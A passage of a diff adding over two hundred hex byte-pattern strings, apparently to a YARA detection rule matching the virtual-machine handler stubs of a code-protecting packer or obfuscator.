+		$732 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+		$733 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+		$734 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+		$735 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+		$736 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+		$737 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+		$738 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+		$739 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+		$740 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+		$741 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+		$742 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+		$743 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+		$744 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+		$745 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+		$746 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+		$747 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+		$748 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+		$749 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+		$750 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+		$751 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+		$752 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+		$753 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+		$754 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+		$755 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+		$756 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+		$757 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+		$758 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+		$759 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+		$760 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+		$761 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+		$762 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+		$763 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+		$764 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+		$765 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+		$766 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+		$767 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+		$768 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+		$769 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+		$770 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+		$771 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+		$772 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+		$773 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+		$774 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+		$775 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+		$776 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+		$777 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+		$778 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+		$779 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+		$780 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+		$781 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+		$782 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+		$783 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+		$784 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+		$785 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+		$786 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+		$787 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+		$788 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+		$789 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+		$790 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+		$791 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+		$792 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+		$793 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+		$794 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+		$795 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+		$796 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+		$797 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+		$798 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+		$799 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+		$800 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+		$801 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+		$802 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+		$803 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+		$804 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+		$805 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+		$806 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+		$807 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+		$808 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+		$809 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+		$810 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$811 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$812 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$813 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$814 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$815 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$816 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$817 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$818 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$819 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$820 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$821 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$822 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+		$823 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+		$824 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+		$825 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+		$826 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+		$827 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+		$828 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+		$829 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+		$830 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+		$831 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+		$832 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+		$833 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+		$834 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+		$835 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+		$836 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+		$837 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+		$838 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+		$839 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+		$840 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+		$841 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+		$842 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+		$843 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+		$844 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+		$845 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+		$846 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+		$847 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+		$848 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+		$849 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+		$850 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+		$851 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+		$852 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+		$853 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+		$854 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+		$855 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+		$856 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+		$857 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+		$858 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+		$859 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+		$860 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+		$861 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+		$862 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+		$863 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+		$864 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+		$865 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+		$866 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+		$867 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+		$868 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$869 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$870 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$871 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$872 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+		$873 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$874 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$875 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$876 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$877 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$878 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$879 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$880 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$881 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$882 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$883 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$884 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$885 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$886 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$887 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$888 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$889 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$890 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$891 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$892 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$893 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$894 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+		$895 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+		$896 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+		$897 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+		$898 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+		$899 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+		$900 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+		$901 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+		$902 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+		$903 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+		$904 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+		$905 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+		$906 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+		$907 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$908 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$909 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$910 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$911 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$912 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$913 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$914 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+		$915 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+		$916 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$917 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$918 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$919 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+		$920 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+		$921 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$922 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$923 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$924 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$925 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$926 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$927 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$928 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$929 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$930 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$931 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$932 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$933 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$934 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$935 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$936 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$937 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
